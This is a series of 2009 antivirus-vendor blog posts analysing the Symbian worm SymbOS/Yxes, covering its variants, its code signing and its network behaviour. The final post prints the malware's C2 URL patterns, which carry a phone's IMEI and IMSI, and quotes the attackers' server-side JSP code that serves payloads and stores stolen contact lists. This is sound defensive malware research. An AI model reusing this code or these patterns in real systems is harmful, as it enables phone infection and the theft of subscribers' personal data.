Keep your phone healthy: H1N1 vs. SymbOS/Yxes

by Axelle Apvrille
October 13, 2009 at 7:47 am

Lately, we’ve been fed with H1N1 flu security measures, with recommendations regarding how to clean our hands, sneeze or cough. I just wonder if we’d be so obedient if the same recommendations were issued for our computers or phones.

Have a look at the advice below: on the left are CDC’s recommendations against H1N1. On the right… Fortinet’s recommendations against SymbOS/Yxes.

h1n1

Convinced? Will you follow them?

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

Transmitter.C is not Yxes.E

by Axelle Apvrille
August 26, 2009 at 11:31 pm

There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, here and here), is not sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.

Why ? As a matter of fact, several issues startled me (ordered from weakest to strongest point):

1. Transmitter.C is reported to send a massive amount of SMS messages (they are talking about 500 SMS). If Transmitter.C is Yxes.E, it is surprising because I cannot see any loop in the code indicating numerous copies of SMS are sent out, but of course, that would depend on the amount of contacts and SMS stored in the infected phone. Strange though. In Yxes.E, I do see the piece of code that sends SMS messages (see picture below), but I haven’t spotted any function calling it yet. The malicious code might be bugged. And, as a matter of fact, on the Nokia N95 I tried it on, Yxes.E did not succeed to send any SMS at all.

SMS sending routing in SymbOS/Yxes
Figure 1. Assembly routine sending an SMS – disassembled with IDA Pro. The routine connects to the SendAs server. Then it creates a message object, sets the recipient (“to”) and finally the message body.

2. The screenshot of the SMS message mentions the string “A very sexy girl, Try it now!” with a link to a website hosting sexySpace.sisx. But, quite strangely, this string is nowhere to be found in the executable inside sexySpace.sisx (AcsServer.exe) nor in other resources. No, it is definetely not in Yxes.E. Of course, it could be dynamically decrypted from data in the executable, but then, why are similar strings in cleartext in Yxes.D (“A very interesting sexy game!try it soon!”) ?

3. Last but not least, Transmitter.C is said to spread as a trojaned version of a legitimate application named ‘Advanced Device Locks’, but sexySpace.sisx does not install as ‘Advanced Device Locks’ at all: it installs under the name ‘Sexy Space’ and does not include any part of the Advanced Device Locks application. That does not sound like the right sample at all.

To my opinion, Transmitter.C is not sexySpace.sisx, and thus not SymbOS/Yxes.E!worm. In that case, the SMS screenshot should probably be credited to Transmitter.C (and not SymbOS/Yxes.E!worm), which is interesting, because it includes a link to a website hosting sexySpace.sisx. This means Transmitter.C can be seen as a kind of dropper that tries to spread SymbOS/Yxes.E!worm.

– The Crypto Girl.

PS. By the way, if you encounter a sample of Transmitter.C please be forward it to submitvirus (at) fortinet.com.

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

Symbian Certificates or ‘How SymbOS/Yxes Got Signed’

by Axelle Apvrille
August 4, 2009 at 9:09 am

In case you are not familiar with the Symbian development process, application development features two major security meatures in Symbian OS 9.1 and greater. First, applications must specify their capabilities, i.e if an application uses Bluetooth connection, it must have the Symbian LocalServices capability. A few other interesting capabilities for malware are:

* NetworkServices: required to make a call, send HTTP requests etc.
* ReadUserData/WriteUserData: required to read/write user’s contacts.
* UserEnvironment: to use the camera.
* Location: particularly interesting for spywares, to locate the phone.
* PowerMgmt: to kill applications.
* ReadDeviceData/WriteDeviceData: typically used to get the IMEI

Second, applications must be signed: unsigned applications can no longer be installed (unless the phone is hacked). There are at least 5 ways to sign applications:

* self-sign your application: this is the quickest way to sign an application. It can easily be done, offline, with Carbide.C++ (Symbian development IDE). But, of course, the application installs with a huge security warning.

* use Symbian’s Open Signed Online: this is meant as an on-line testing facility. Applications are posted on the website, and signed in a few hours.

* get a certificate from the Chinese website OPDA: this technique was mainly useful before Symbian opened its Open Signed Online service. Now, it shows less interest, unless one speaks Chinese. Yet, several tutorials explain how to get a certificate from this website for those who do not understand a word of Chinese. The first signature is free.

* Express Signed: this can be considered as the ‘quick’ (express) but official way to get an application signed. Developers need to register using a valid email, not from a public domain (not yahoo, gmail…). Then, each signature costs US$ 20.

* Certified Signed: this is the official / professional way to get applications signed. Developers register on the same web site as for Express Signed, but must get an Application Code Signing (ACS) Publisher ID (costs US$ 200) to identify. The signing process may be long, as the application undergoes several quality tests.

The table below summarizes the limitations of each method.

Solution Install Warning IMEI restriction (applications are bound to a given IMEI) Capability restriction The application undergoes a few tests
Self-signed Yes No Basic capabilities only: this includes Local and Network Services,
Read/WriteUserData and UserEnvironment. From Symbian OS 9.2,
it also includes the Location capabilities
No
Open Signed Online or OPDA No Yes A few capabilities are forbidden, but most malware shouldn’t need them No
Express Signed No No A few capabilities are forbidden, but most malware shouldn’t need them< Yes, but a limited. Applications are scanned against known viruses.
Certified Signed No No Nearly all capabilities are available, apart from those granted by manufacturers Yes.

So, how do we identify which signing process SymbOS/Yxes variants use ?

All variants except B are similar: they install without any security warning, regardless of any IMEI, and their root certificate is issued by “VeriSign Testing-Based ACS Root for Symbian OS”, also referred to as “Symbian B”.

Figure 1. Tool SisWare showing certificates from lower to higher depth. The last certificate is a certificate issued by the root certificate, so its “issued by” field is the common name for root certificate.

For these variants, the first three signing methods can obviously be eliminated: there aren’t any security warning at installation so they are not self-signed, they install on any phone regardless of its IMEI, so they are not Open Signed nor from OPDA. This only leaves Express or Certified Signing. It is difficult to tell between those because they use the same web site accounts, use the same root certificate (see this grid at Symbian) and Yxes does not use a capability restricted to Certified Signed such as NetworkControl or DiskAdmin. Nevertheless, as Certified Signed applications take time to sign (and cost more), my best guess is they were signed using the Express Signed program. Note that I do imply malware authors would not invest US$ 200 to spread their virus, but rather that they would not want to wait to get their application signed.

SymbOS/Yxes.B!worm is different and does not install successfully on any IMEI. A dump of its certificate shows the issuer is “C=GB, ST=London, L=Southwark, O=Symbian Software Limited, CN=Symbian Developer Certificate CA 280205A/emailAddress=developercertificates@symbian.com” and experimented developers also notice an X.509 extension:

openssl x509 -text -inform DER < yxesB.cer
...
       X509v3 extensions:
            1.2.826.0.1.1796587.1.1.1.1: critical
                0...353966012936006

This is the IMEI restriction (where the IMEI is 353966012936006). This means SymbOS/Yxes.B was signed using the Open Signed Online or OPDA website.

Finally, end-users should be relieved to know nearly all certificates corresponding to Yxes are now revoked. The revocation list (CRL) can be downloaded from http://www.trustcenter.de/crl/v2/symbian_ca_I.crl. :

openssl crl -in symbian_ca_I.crl.2 -inform DER -text
...

===> This is SymbOS/Yxes.A!worm
Serial Number: C23A00010023A7D0AF48939BEE09
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation

...
===> This is SymbOS/Yxes.C!worm
    Serial Number: 86E100010023AC2B0555D23BAE61
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
===> This is SymbOS/Yxes.D!worm
   Serial Number: 59D90001002343FE87A1C26833F0
        Revocation Date: Jan  9 15:12:15 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
==> This is SymbOS/Yxes.E!worm
Serial Number: AE2C0001002329D2E4228834C243
        Revocation Date: Jul 16 13:16:45 2009 GMT

...
==> This is SymbOS/Yxes.F!tr
    Serial Number: 0DC50001002374FC26D186DA0E2A
        Revocation Date: Jul 16 13:16:46 2009 GMT

Only a recent variant of SymbOS/Yxes.D!worm is missing, with serial number d4:44:00:01:00:23:99:77:8c:01:c1:42:ae:d1, but Symbian has been notified.

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.

Many threat trends have continued as we head into August 2009. I have highlighted notable items below from our July 2009 Threat Landscape report, which can be found on Fortinet’s FortiGuard Center.

Mobile threat development continues: In July we saw the emergence of SymbOS/Yxes.E and SymbOS/Yxes.F, the latest updated variants of Yxes that we first reported on in February. For further details, check out this blog post that is well worth the read: in particular, Yxes’ served up dynamic content via JSP indeed shows the beginning steps as to how cyber criminals are addressing a market that is largely fragmented due to multiple platforms. This is important, because malicious binaries are often written for a single target (ie: Windows, OS/X). On traditional desktops, these targets are limited: however, in the mobile market, they are growing and diversifying. Thus, dynamically addressing which malware packages to serve up, as Yxes has done, is a technique which helps alleviate this issue and hints of what is to come in this area in the near future.

Virut posts record levels while online gaming trojans flood cyberspace: W32/OnlineGames.BBR maintained and built heavily from its first place position last report – accounting for 43 percent of total detected malware activity. This latest attack saw much of its volume from July 5th onward, with a peak of activity on July 8th. This campaign continues, and comes in very frequent activity on a daily basis. Besides that, the regular faces of W32/Virut.A and JS/PackRedir built on their activity from our last report period. In fact, detected activity for W32/Virut.A this period climbed to record levels, underscoring the fact that this behemoth has become a dominant threat – particularily in Asia. New to this report’s top ten is W32/FakeAlert.EI – another rogue antivirus (“scareware”) trojan. Scareware fraud continues to be vastly popular in the digital underground, now quite diversified since we first reported on heavy attack waves nearly one year ago in August 2008.

Two in the wild exploits were making waves this period: One is the highly discussed MS ActiveX Video control (CVE-2008-0015, FortiGuard Advisory here) first patched on July 14th by Microsoft through MS09-032. Exploit activity for this vulnerability was frequent throughout the month, but remained relatively low, with most prevalent activity detected in Korea, China and Japan. As of writing, the second mentioned vulnerability, MS Office Web Components (CVE-2009-1136, FortiGuard Advisory here) remains unpatched / zero-day, also with relatively low detection rates with leading activity in China, India and Japan. Nonetheless, it should be reminded that any successful exploit can cause significant damage; exploits against the latter (zero-days) tend to be more successful since patches are not readily available. FortiGuard IPS detects and blocks malicious activity against both of these attacks as mentioned in their respected advisories above. The FortiGuard Global Security Research team first spotted public exploit code for this second mentioned vulnerability on July 11th and immediately reported the findings.

Canadian Pharmacy assaults google groups, tinypic: This month, we witnessed a flood of eCard spam continuing from last month, using various techniques – a majority of them ultimately leading victims to Canadian Pharmacy’s domains. These domains, automatically registered by combining two dictionary words as described in our January 2008 write-up, continue to be registered well over two years since the process began. Canadian Pharmacy’s success, fueled by an affiliate sponsorship model, invites many cyber criminals to advertise the fraudulent pharmaceuticals and drive traffic to the aforementioned domains on their behalf. The net result lands rather large chunks of change in both the Canadian Pharmacy gang and affiliates’ pockets. This period, the eCard spam primarily used direct links, Google Groups and the photo sharing service Tinypic.

While the automatic redirection used by the Google Groups campaign is not new, Tinypic is quite interesting as it serves as another example of how spam continues to reach out to emerging platforms. While traditional spam has not ceased to exist through email, we have predicted and reported on many spam attacks through new “Web 2.0″ platforms such as social networking sites. To help evade detection, cyber criminals have used services such as Tinyurl in the past to obfuscate their malicious URLs. Tinypic is a similar, recent example of how legitimate service providers are commonly used nowadays to piggyback malicious resources. Regardless of the image, or what the link appears to be, always observe where any hyperlink will actually take you and exercise due care. Finally, the Waledac gang was at it once again with another typical spam campaign, this time on July 4th just in time for the USA’s Independence Day. In terms of overall activity, spam rates continue to hold at high levels, while Japan jumped ahead of the USA into 2nd position for spam volume this period.

Author bio: Derek Manky is FortiGuard Labs' senior security strategist and contributes to security research and development, while also acting as a bridge to the public forum on results and findings. He coordinates research team efforts and manages responsible disclosure, and industry collaboration efforts between Fortinet and other vendors.

SymbOS/Yxes or downloading customized malware

by Axelle Apvrille
July 21, 2009 at 8:14 am

The Symbian malware Yxes is (nearly) keeping me awake these days.

Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:
- Yxes.A: http://[REMOVED]/Kernel?Version=<VERSION>
- Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=<VERSION>&PhoneType=<TYPE>
- Yxes.C: no similar URL
- Yxes.D: this one issues two different requests:

http://[REMOVED]/bs?Version=<VERSION>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>&PhoneType=<TYPE>

http://[REMOVED]/number/?PhoneType=<TYPE>

http://[REMOVED]/index.jsp?PhoneType=<TYPE>

- Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=<TYPE>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>

TYPE is a string that represents the phone’s model. For example, NokiaN95. If the malware is unable to retrieve the phone’s model, it returns by default nokia3250.
VERSION is the malware’s version. Samples in the wild currently have a version number of 1.6 or 1.7
IMEI is the victim’s International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038).
IMSI is the victim’s International Mobile Subscriber Identity. This number identifies the *subscriber*. It is stored in the SIM card.

All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim’s phone a malware his/her phone supports. This consists in selecting malware depending on the phone’s model or user agent.

To do so, the JSPs first retrieve the incoming URL’s user agent and parameters:


String sUA = request.getHeader("user-agent") != null?request.getHeader("user-agent"):"NokiaN95";
String sPhoneNumber = request.getParameter("PhoneNumber")==null?"":request.getParameter("PhoneNumber");
String sPhoneType = request.getParameter("PhoneType")==null?"":request.getParameter("PhoneType");
String sVersion = request.getParameter("Version")==null?"":request.getParameter("Version");

Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty.
If the script handles phone’s IMEI and IMSI, they are usually logged:


String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, "O", sIMEI, sIMSI);

Then, based on phone’s model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.


String sExt = "";
if(!sPhoneType.equals(""))
{
sExt = nokiaDown.getFileType(sPhoneType.replaceAll(" ",""));
log_client.info(sPhoneNumber+" - "+sPhoneType);
}
else
{
sExt = nokiaDown.getFileType(sUA.replaceAll(" ",""));
log_browser.info(sUA);
}

For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian’s installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions – below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).


String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");
FileManager fileManager = new FileManager();
ArrayList fileList = null;
String sSoftFolder = "";
fileList = fileManager.getFiles(rootPath+"/download/kernel_new",sExt,null);
sSoftFolder = rootPath+"/download/kernel_new/";

Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:


int i = new Random().nextInt(fileList.size());
System.out.println(">>>i="+i);
String sFilePath = sSoftFolder+fileList.get(i);
<jsp:forward page="Download.jsp">
<jsp:param name="FileName" value="<%=URLEncoder.encode(sFilePath,"gb2312") %>"/>
<jsp:param name="PhoneType" value="<%=URLEncoder.encode(sPhoneType,"gb2312") %>"/>
<jsp:param name="Version" value="<%=URLEncoder.encode(sVersion,"gb2312") %>"/>
<jsp:param name="Type" value="Kernel"/>
</jsp:forward>

The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:


if(name.toLowerCase().endsWith(".sis"))
{
response.setContentType("application/vnd.symbian.install");
} else if(name.toLowerCase().endsWith(".sisx"))
{
response.setContentType("x-epoc/x-sisx-app");
}
...
File file = new File(sFileName);
if(file.exists())
{
response.setHeader("Content-Disposition","attachment;filename=\""+new String(name.getBytes("gb2312"),"iso-8859-1")+"\"");
try
{
String sHeader = "";
OutputStream os = response.getOutputStream();
...
FileInputStream fis = new FileInputStream(file);
byte[] b = new byte[1024];
int i=0;
while((i=fis.read(b))!=-1)
{
os.write(b,0,i);
}
fis.close();
os.flush();
os.close();
}
}

Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by Transmitter.C and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, SymbOS/Yxes.E!worm downloads and infects the phone with SymbOS/Yxes.D!worm or SymbOS/Yxes.F!tr.

The PbkInfo.jsp script is different. It does not download any file, but *uploads* information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name <DATE>_<IMEI>_<IMSI>.txt where DATE is the current date, and IMEI and IMSI are the phone’s IMEI and IMSI.


String content = "";
InputStream in = request.getInputStream();
byte[] buf = new byte[1024];
int i = 0;
while((i=in.read(buf))!=-1){
content += new String(buf,0,i,"utf-8");
System.out.println("content added");
}
in.close();
...
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");
File file = new File(rootPath+"/data/Upload/Pbk/"+sdf.format(new java.util.Date())+"_"+sIMEI+"_"+sIMSI+".txt");
FileWriter writer = new FileWriter(file);
writer.write(content);
writer.close();

So, for example, if the malware issues an HTTP request such as http://[REMOVED]/PbkInfo.jsp?PhoneType=nokia3250&PhoneImei=123456789&PhoneImsi=00456, with as content a listing of all phone’s contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information…

Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven’t been properly debugged (missing escape sequences etc)… or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven’t managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I’d be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)

– The Crypto Girl.

PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.

Author bio: Axelle Apvrille's initial field of expertise is cryptology, security protocols and OS. She is a senior antivirus analyst and researcher for Fortinet, where she more specifically looks into mobile malware.